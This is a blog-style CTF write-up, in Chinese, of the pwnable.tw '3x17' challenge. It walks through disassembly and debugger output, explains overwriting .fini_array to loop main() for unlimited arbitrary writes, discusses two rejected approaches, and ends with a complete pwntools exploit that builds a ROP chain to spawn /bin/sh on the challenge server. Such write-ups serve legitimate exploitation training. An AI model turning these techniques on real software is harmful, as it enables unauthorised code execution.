CTF Re&&PwnCTF-PWN

pwnable.tw_3x17

2019-02-10  本文已影响61人  Kirin_say

半年没碰pwnable了,一位朋友让我看的这个题
分值不高,也挺简单
不过踩了两个坑(方案二三)觉得比较有意思,记录一下

Analyze:

静态编译,便于分析,添加sig:

python lscan.py  -f  ./3x17 -S ./amd64/sig/
#不过这题没什么用

题目保护:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found#静态编译,存在canary保护,只是没有检测到
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序:

  int result; // eax
  int v4; // eax
  char *v5; // ST08_8
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  result = (unsigned __int8)++read_flag;
  if ( read_flag == 1 )
  {
    write(1u, "addr:", 5uLL);
    read(0, &buf, 0x18uLL);
    stroll((__int64)&buf);
    v5 = (char *)v4;
    write(1u, "data:", 5uLL);
    read(0, v5, 0x18uLL);
    result = 0;
  }
  return result;

对应汇编:

.text:0000000000401B6D ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401B6D main            proc near               ; DATA XREF: start+1D↑o
.text:0000000000401B6D
.text:0000000000401B6D var_28          = qword ptr -28h
.text:0000000000401B6D buf             = byte ptr -20h
.text:0000000000401B6D var_8           = qword ptr -8
.text:0000000000401B6D
.text:0000000000401B6D ; __unwind {
.text:0000000000401B6D                 push    rbp
.text:0000000000401B6E                 mov     rbp, rsp
.text:0000000000401B71                 sub     rsp, 30h
.text:0000000000401B75                 mov     rax, fs:28h
.text:0000000000401B7E                 mov     [rbp+var_8], rax
.text:0000000000401B82                 xor     eax, eax
.text:0000000000401B84                 movzx   eax, cs:read_flag
.text:0000000000401B8B                 add     eax, 1
.text:0000000000401B8E                 mov     cs:read_flag, al
.text:0000000000401B94                 movzx   eax, cs:read_flag
.text:0000000000401B9B                 cmp     al, 1
.text:0000000000401B9D                 jnz     loc_401C35
.text:0000000000401BA3                 mov     [rbp+var_28], 0
.text:0000000000401BAB                 mov     edx, 5          ; count
.text:0000000000401BB0                 lea     rsi, buf        ; "addr:"
.text:0000000000401BB7                 mov     edi, 1          ; fd
.text:0000000000401BBC                 mov     eax, 0
.text:0000000000401BC1                 call    write
.text:0000000000401BC6                 lea     rax, [rbp+buf]
.text:0000000000401BCA                 mov     edx, 18h        ; count
.text:0000000000401BCF                 mov     rsi, rax        ; buf
.text:0000000000401BD2                 mov     edi, 0          ; fd
.text:0000000000401BD7                 mov     eax, 0
.text:0000000000401BDC                 call    read
.text:0000000000401BE1                 lea     rax, [rbp+buf]
.text:0000000000401BE5                 mov     rdi, rax
.text:0000000000401BE8                 mov     eax, 0
.text:0000000000401BED                 call    stroll
.text:0000000000401BF2                 cdqe
.text:0000000000401BF4                 mov     [rbp+var_28], rax
.text:0000000000401BF8                 mov     edx, 5          ; count
.text:0000000000401BFD                 lea     rsi, aData      ; "data:"
.text:0000000000401C04                 mov     edi, 1          ; fd
.text:0000000000401C09                 mov     eax, 0
.text:0000000000401C0E                 call    write
.text:0000000000401C13                 mov     rax, [rbp+var_28]
.text:0000000000401C17                 mov     edx, 18h        ; count
.text:0000000000401C1C                 mov     rsi, rax        ; buf
.text:0000000000401C1F                 mov     edi, 0          ; fd
.text:0000000000401C24                 mov     eax, 0
.text:0000000000401C29                 call    read
.text:0000000000401C2E                 mov     eax, 0
.text:0000000000401C33                 jmp     short loc_401C37
.text:0000000000401C35 ; ---------------------------------------------------------------------------
.text:0000000000401C35
.text:0000000000401C35 loc_401C35:                             ; CODE XREF: main+30↑j
.text:0000000000401C35                 nop
.text:0000000000401C36                 nop
.text:0000000000401C37
.text:0000000000401C37 loc_401C37:                             ; CODE XREF: main+C6↑j
.text:0000000000401C37                 mov     rcx, [rbp+var_8]
.text:0000000000401C3B                 xor     rcx, fs:28h
.text:0000000000401C44                 jz      short locret_401C4B
.text:0000000000401C46                 call    ___stack_chk_fail
.text:0000000000401C4B ; ---------------------------------------------------------------------------
.text:0000000000401C4B
.text:0000000000401C4B locret_401C4B:                          ; CODE XREF: main+D7↑j
.text:0000000000401C4B                 leave
.text:0000000000401C4C                 retn
.text:0000000000401C4C ; } // starts at 401B6D
.text:0000000000401C4C main            endp

可以看到:

程序静态编译,没有地址随机化,且为任意地址写
.bss段的read_flag记录此函数调用次数,只有read_flag归零时才可再次写
搜索"exit 0"(system function)、"/bin/sh"、"LINUX - sys_execv"(ida自动注释)......都没有结果
所以应该不存在后门,需要自己构造ROP
或者调用mprotect等方法更改内存权限执行shellcode(下下策)

首先跟踪整个程序流找到可以控制程序流的地方:

.text:0000000000402960 sub_402960      proc near               ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960                 push    rbp
.text:0000000000402961                 lea     rax, unk_4B4100
.text:0000000000402968                 lea     rbp, off_4B40F0
.text:000000000040296F                 push    rbx
.text:0000000000402970                 sub     rax, rbp
.text:0000000000402973                 sub     rsp, 8
.text:0000000000402977                 sar     rax, 3
.text:000000000040297B                 jz      short loc_402996
.text:000000000040297D                 lea     rbx, [rax-1]
.text:0000000000402981                 nop     dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988:                             ; CODE XREF: sub_402960+34↓j
.text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]
.text:000000000040298C                 sub     rbx, 1
.text:0000000000402990                 cmp     rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994                 jnz     short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996:                             ; CODE XREF: sub_402960+1B↑j
.text:0000000000402996                 add     rsp, 8
.text:000000000040299A                 pop     rbx
.text:000000000040299B                 pop     rbp
.text:000000000040299C                 jmp     sub_48E32C
.text:000000000040299C ; } // starts at 402960

其实还有一个地方:

.text:000000000040F7FF                 mov     rdx, [rax+18h]
.text:000000000040F803                 mov     qword ptr [rax+10h], 0
.text:000000000040F80B                 mov     esi, ebp
.text:000000000040F80D                 ror     rdx, 11h
.text:000000000040F811                 xor     rdx, fs:30h
.text:000000000040F81A                 mov     rdi, [rax+20h]
.text:000000000040F81E                 call    rdx

这里rax=0x4b98e0,也可以写rax+0x18位置,不过存在xor rdx, fs:30h,无法预知fs:30h,所以此处不行
IP在0x402988时:

RBX  0x1
RBP  0x4b40f0->.fini_array

所以只要覆盖.fini_array即可劫持程序流

方案一

首先可以确定:

.text:0000000000401B84                 movzx   eax, cs:read_flag
.text:0000000000401B8B                 add     eax, 1
.text:0000000000401B8E                 mov     cs:read_flag, al
.text:0000000000401B94                 movzx   eax, cs:read_flag
.text:0000000000401B9B                 cmp     al, 1

可以想方法通过一个循环来使read_flag字节0x100循环自动归零(0xFF+1->0):

我们将0x4b40f0位置覆盖为0x401b6d(main function addr)
继续跟踪流,当函数返回时,rbx依然为1:
.text:0000000000402988 loc_402988:                             ; CODE XREF: sub_402960+34↓j
.text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]
.text:000000000040298C                 sub     rbx, 1      #rbx=0
.text:0000000000402990                 cmp     rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994                 jnz     short loc_402988  #跳转
------->
.text:0000000000402988 loc_402988:                             ; CODE XREF: sub_402960+34↓j
.text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]
#即调用0x4b40f0处的函数地址
因此可以将0x4b40f0重新覆盖为sub_402960
形成sub_402960和main function之间的循环来不断写地址

可以无限次写入后,便可以布置rop chain
而后只需要中断循环并迁移栈段即可:
将0x4b40f0覆盖为0x401c4b:

.text:0000000000401C4B                 leave
.text:0000000000401C4C                 retn

此时:

rbp=0x4b40f0,rbx=0
call    qword ptr [rbp+rbx*8+0] #0x401c4b
->leave  #rbp=0x401c4b,rsp=0x4b40f8
->ret    #rip=*0x4b40f8=0x401b6d,rsp=0x4b4100
->push    rbp# *0x4b40f8=rbp=0x401c4b,rsp=0x4b40f8
->mov     rbp, rsp# rbp=0x4b40f8
......
......
->leave #rbp=0x401c4b,rsp=0x4b4100
->ret   #return 2 ropchain

方案二

同样是循环main function来无限写
不过循环地方不同:
可以构造.fini_array:

0x4b40f0->0x4b40f0
0x4b40f8->0x401b71#sub rsp,0x30......

这里主要是先进行栈段迁移,再利用不进行push rbp操作造成栈段退出leave ret时rbp依然保持我们构造的fake_rbp,从而造成循环
不过这个方案不可行,当循环进可写时,注意到此时:

RBP  0x4b40f0
RSP  0x4b40c8
栈帧长度并不是0x30,而是0x28->因为我们构造循环时没有进行"push rbp  mov rbp,rsp",而是直接sub rsp,0x30

但是注意到main function中:

.text:0000000000401BE1                 lea     rax, [rbp+buf]
.text:0000000000401BE5                 mov     rdi, rax
.text:0000000000401BE8                 mov     eax, 0
.text:0000000000401BED                 call    stroll
.text:0000000000401BF2                 cdqe
.text:0000000000401BF4                 mov     [rbp+var_28], rax
.text:0000000000401BF8                 mov     edx, 5          ; count
.text:0000000000401BFD                 lea     rsi, aData      ; "data:"
.text:0000000000401C04                 mov     edi, 1          ; fd
.text:0000000000401C09                 mov     eax, 0
.text:0000000000401C0E                 call    write
.text:0000000000401C13                 mov     rax, [rbp+var_28]
.text:0000000000401C17                 mov     edx, 18h        ; count
.text:0000000000401C1C                 mov     rsi, rax        ; buf
.text:0000000000401C1F                 mov     edi, 0          ; fd
.text:0000000000401C24                 mov     eax, 0
.text:0000000000401C29                 call    read

我们任意地址读的地址是在保存在rbp+var_28中,其间调用了一次write,因而会将返回地址覆盖到rbp+var_28处,从而导致后面操作失败,因此本方案需要main function的栈帧提高8 bytes(sub rsp,0x38)

方案三

首先考虑并排除的方案
可以让返回地址为(.fini_array)

.text:0000000000401BA3                 mov     [rbp+var_28], 0

此时已进行完read_flag位的检测,不过要想办法绕过canary:
跟踪___stack_chk_fail程序流就可以发现有几处通过.plt表实现调用:

例如:
.text:000000000041337F                 call    sub_4010C0
and
.text:00000000004132F9                 call    sub_401058

所以第一次劫持程序流后可以修改对应got表中的数据实现永久劫持(只需要永远不绕过canary)
这样直接可以无限次地址写
不过这样便无法迁移栈段,而且:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r--p     1000 0      /home/regedit/pwnable/3x17
          0x401000           0x48f000 r-xp    8e000 1000   /home/regedit/pwnable/3x17
          0x48f000           0x4b3000 r--p    24000 8f000  /home/regedit/pwnable/3x17
          0x4b4000           0x4ba000 rw-p     6000 b3000  /home/regedit/pwnable/3x17
          0x4ba000           0x4bb000 rw-p     1000 0      
         0x1841000          0x1864000 rw-p    23000 0      [heap]
    0x7fff7995a000     0x7fff7997c000 rw-p    22000 0      [stack]
    0x7fff799d5000     0x7fff799d8000 r--p     3000 0      [vvar]
    0x7fff799d8000     0x7fff799da000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

可写的地方没有执行权限,所以也只是任意地址写,无法再次将程序流劫持到别的地方(不知道栈地址,没办法改rsp/rbp/返回地址)
不过实际上可以考虑先迁移栈段再劫持___stack_chk_fail,但是不能用方案一二的方法迁移(因为还会导向方案二的错误):
首先canary为了防止leak,低字节总为\x00
可以利用这个特点

注意到:

.text:0000000000401B75                 mov     rax, fs:28h
.text:0000000000401B7E                 mov     [rbp+var_8], rax

所以可以首先劫持程序流到0x401b75(利用.fini_array):
覆盖:

0x4b40f0->0x4B9338
0x4b40f8->0x401b75

此时:

leave->
rbp=0x4b9338
rsp=0x4b40f8
ret->
rip=*rsp=0x401b75

而后:

.text:0000000000401B75                 mov     rax, fs:28h
.text:0000000000401B7E                 mov     [rbp+var_8], rax
->*rbp-0x8=*0x4b9330=canary
&(byte *)read_flag=0x4b9330
read_flag即为\x00

此时迁移了栈段,然后此时read_flag=0,即可获得一次写机会(写got表),注意此时read_flag++,canary就会改变,从而造成___stack_chk_fail,成功劫持程序流并控制了栈段,但是方案依旧不可行,因为栈向低处增长,所以当第二次写的时候因为___stack_chk_fail过程中栈顶(rsp)不断减小的关系,会到达0x4b4000处,此时会有一个push操作,而addr<0x4b4000不具有可写权限,会导致程序崩溃,因而方案三需要更大的可写空间
虽然二三不可行,不过也只是程序本身特点造成,思路应该也可以,毕竟我先考虑的二三,所以记录一下orz
最终EXP为方案一

EXP:

from pwn import *

#context.log_level="debug"
#p=process("3x17")
p=remote("chall.pwnable.tw",10105)

#_fini_array
p.sendlineafter("addr:",str(0x4b40f0))
p.sendafter("data:",p64(0x402960)+p64(0x401b6d))

#rop_chain
pop_rdi=0x401696
pop_rax=0x41e4af
pop_rdx_rsi=0x44a309
bin_sh_addr=0x4b4140
p.sendlineafter("addr:",str(0x4b4100))
p.sendafter("data:",p64(pop_rdi))
p.sendlineafter("addr:",str(0x4b4108))
p.sendafter("data:",p64(bin_sh_addr)+p64(pop_rax)+p64(0x3b))
p.sendlineafter("addr:",str(0x4b4120))
p.sendafter("data:",p64(pop_rdx_rsi)+p64(0)+p64(0))
p.sendlineafter("addr:",str(0x4b4138))
p.sendafter("data:",p64(0x446e2c)+"/bin/sh\x00")

#get_shell
p.sendlineafter("addr:",str(0x4b40f0))
p.sendafter("data:",p64(0x401c4b))
p.interactive()
上一篇下一篇

猜你喜欢

热点阅读